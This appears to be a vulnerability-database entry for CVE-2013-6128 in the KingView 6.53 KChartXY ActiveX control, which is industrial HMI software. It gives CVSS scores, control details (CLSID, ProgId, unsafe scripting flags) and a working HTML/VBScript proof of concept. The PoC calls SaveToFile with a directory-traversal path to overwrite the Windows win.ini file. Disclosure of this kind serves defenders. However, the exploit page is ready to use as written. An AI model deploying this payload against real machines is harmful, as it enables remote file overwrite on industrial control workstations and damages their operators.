KingView 6.53 ActiveX Control (KChartXY) Remote File Creation

2013-09-05 / 2013-10-27

Credit: Blake

Risk: High

Local: No

Remote: Yes

CVE: CVE-2013-6128

CWE: CWE-264

CVSS Base Score: 5.8/10

Impact Subscore: 4.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: Partial

<!--
KingView ActiveX Control (KChartXY) Remote File Creation / Overwrite
Vendor: http://www.wellintech.com
Version: KingView 6.53
Tested on: Windows XP SP3 / IE
Download: http://www.wellintech.com/documents/KingView6.53_EN.zip
Author: Blake
CLSID: A9A2011A-1E02-4242-AAE0-B239A6F88BAC
ProgId: KCHARTXYLib.KChartXY
Path: C:\Program Files\KingView\KChartXY.ocx
MemberName: SaveToFile
Safe for scripting: False
Safe for init: False
Kill Bit: False
IObject safety not implemented
Description: Proof of concept overwrites the win.ini file
-->
<html>
<object classid='clsid:A9A2011A-1E02-4242-AAE0-B239A6F88BAC' id='target' ></object>
<script language='vbscript'>
arg1="..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\WINDOWS\win.ini"
target.SaveToFile arg1
</script>

References:

http://www.wellintech.com/documents/KingView6.53_EN.zip

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KingView 6.53 ActiveX Control (KChartXY) Remote File Creation

References:

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